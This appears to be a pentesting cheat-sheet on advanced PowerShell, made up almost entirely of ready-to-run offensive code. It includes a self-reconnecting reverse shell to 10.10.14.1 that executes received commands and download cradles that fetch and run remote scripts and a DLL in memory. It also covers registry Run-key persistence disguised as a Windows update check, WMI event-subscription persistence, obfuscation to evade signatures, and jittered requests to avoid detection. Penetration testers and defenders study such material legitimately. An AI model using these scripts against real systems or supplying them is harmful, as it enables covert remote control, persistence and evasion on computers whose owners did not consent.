PowerShell scripting for pentesting - advanced
Builds on PowerShell scripting for pentesting. Covers parallelization, resilience, obfuscation and stealthier persistence.
Parallelizing scans with jobs and runspaces
| # Background jobs (simple, higher overhead)
1..254 | ForEach-Object {
Start-Job -ScriptBlock {
param($i)
if (Test-Connection -ComputerName "10.10.10.$i" -Count 1 -Quiet) {
Write-Output "10.10.10.$i is up"
}
} -ArgumentList $_
} | Out-Null
Get-Job | Wait-Job | Receive-Job
Get-Job | Remove-Job
# ForEach-Object -Parallel (PowerShell 7+, much lighter than jobs)
1..254 | ForEach-Object -Parallel {
if (Test-Connection -ComputerName "10.10.10.$_" -Count 1 -Quiet) {
Write-Output "10.10.10.$_ is up"
}
} -ThrottleLimit 20
|
Robust error handling and cleanup
| $ErrorActionPreference = "Stop"
$tmpDir = Join-Path $env:TEMP ([guid]::NewGuid())
New-Item -ItemType Directory -Path $tmpDir | Out-Null
try {
# ... use $tmpDir for scratch files during an engagement ...
} catch {
Write-Output "[!] error: $($_.Exception.Message)"
} finally {
Write-Output "[*] cleaning up $tmpDir"
Remove-Item -Path $tmpDir -Recurse -Force -ErrorAction SilentlyContinue
}
# Trap Ctrl+C at the console-host level
$null = Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action {
Write-Output "[!] session ending, cleaning up"
}
|
Retrying flaky network operations
| function Invoke-Retry {
param(
[scriptblock]$ScriptBlock,
[int]$Attempts = 5,
[int]$DelaySeconds = 3
)
for ($n = 1; $n -le $Attempts; $n++) {
try {
return & $ScriptBlock
} catch {
if ($n -eq $Attempts) { throw }
Start-Sleep -Seconds $DelaySeconds
}
}
}
Invoke-Retry -ScriptBlock { Invoke-WebRequest -Uri http://10.10.14.1:8000/stage2.ps1 -UseBasicParsing }
|
Reconnecting reverse shell watchdog
| $target = "10.10.14.1"
$port = 443
while ($true) {
try {
$client = New-Object System.Net.Sockets.TCPClient($target, $port)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
} catch {
Write-Output "[!] connection lost, retrying in 10s" | Out-Null
}
Start-Sleep -Seconds 10
}
|
Basic obfuscation
| # Base64-encode a full command for -EncodedCommand
$command = 'Write-Output "hello"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
# String concatenation/reordering to avoid literal signatures on disk
$a = "Wr"; $b = "ite-Ob"; $c = "ject"
& ($a + $b + $c) "hello"
# Character substitution / case randomization (defeats naive string matching, not AMSI)
IEX ("{0}{1}" -f 'Write-','Output "hello"')
|
See DOSfuscation, bashfuscator (cross-shell obfuscation concepts) and AMSI considerations before relying on these against modern EDR.
Living off the land: avoiding dropped binaries
| # Download cradle: fetch and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/script.ps1')
# Via Invoke-Expression + Invoke-RestMethod
IEX (Invoke-RestMethod -Uri http://10.10.14.1:8000/script.ps1)
# Reflectively load a .NET assembly from memory
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.14.1:8000/payload.dll')
[System.Reflection.Assembly]::Load($bytes)
|
Stealthier persistence
| # Hide the PowerShell window and suppress the profile/banner
powershell -WindowStyle Hidden -NoProfile -NonInteractive -Command "..."
# Registry Run key persistence
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsUpdateCheck" `
-Value "powershell -WindowStyle Hidden -NoProfile -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/c.ps1')"
# WMI event subscription persistence (survives without a scheduled task/registry entry)
$filterArgs = @{
Name = "UpdateCheckFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $filterArgs
|
Timing and detection evasion basics
| # Jitter between requests to avoid trivial rate-based detections
Get-Content targets.txt | ForEach-Object {
Invoke-WebRequest -Uri "http://$_/" -UseBasicParsing | Out-Null
Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 8)
}
|
Last update: 2026-07-27
Created: July 27, 2026 16:17:23